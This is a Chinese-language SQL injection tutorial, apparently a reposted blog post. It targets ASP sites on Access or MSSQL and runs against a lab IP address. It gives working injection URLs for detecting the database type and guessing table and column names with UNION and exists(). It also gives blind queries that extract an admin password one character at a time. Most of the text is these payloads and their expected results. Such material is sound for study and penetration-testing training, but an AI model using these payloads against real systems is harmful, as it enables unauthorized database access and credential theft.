ASP一般搭載ACCESS或者mssql
判斷資料庫型別
http://www.***.com?id=1 and (select count(*) from sysobjects)>0
http://www.***.com/id=1 and (select count(*) from msysobjects)>0
如果加sysobjects的SQL陳述句后,網頁顯示正常, 加msysobject的SQL陳述句后,網站顯示不正常,則說明用的是SQLServer資料庫,
如果加sysobjects和加msysobjects的SQL陳述句后,網頁顯示都不正常,或者加msysobject后的網頁顯示正常,則說明是ACCESS資料庫,
猜解表名和列名
兩種方法:聯合查詢猜解、exists()函式猜解
聯合查詢猜解
聯合查詢 先用order by判斷列的長度,然后聯合查詢表,回顯正常即為表存在,反之為不存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin_user 回傳回顯位置,說明 admin_user表存在,

http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,3,4,5,6,7 from admin 回傳錯誤,說明 admin 表不存在

exists()函式猜解
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin_user) 回傳正常說明表 admin_user 存在
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin) 回傳錯誤資訊,說明 admin 表不存在,
PS:如果猜不到表名列名就要試試偏移注入了
爆欄位內容
聯合查詢法:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 UNION SELECT 1,2,列名,4,5,6,7 from 表名
函式猜解法:
表名:admin_user
列名:password
判斷長度:
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select len(password) from admin_user)=32 回傳正常說明內容長度為 32
猜解內容:
一個一個字串的猜,和盲注一樣的道理,
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>49 回傳正常
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)>50 回傳錯誤
http://192.168.74.136:8003/fwxm_detail.asp?id=31 and (select asc(mid(password,1,1)) from admin_user)=50 回傳正常
對照ASCII碼表可知,第一個字符為數字 2 ,
依次猜解,直到猜解出全部內容,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/27477.html
標籤:其他
上一篇:一句話木馬簡單變形
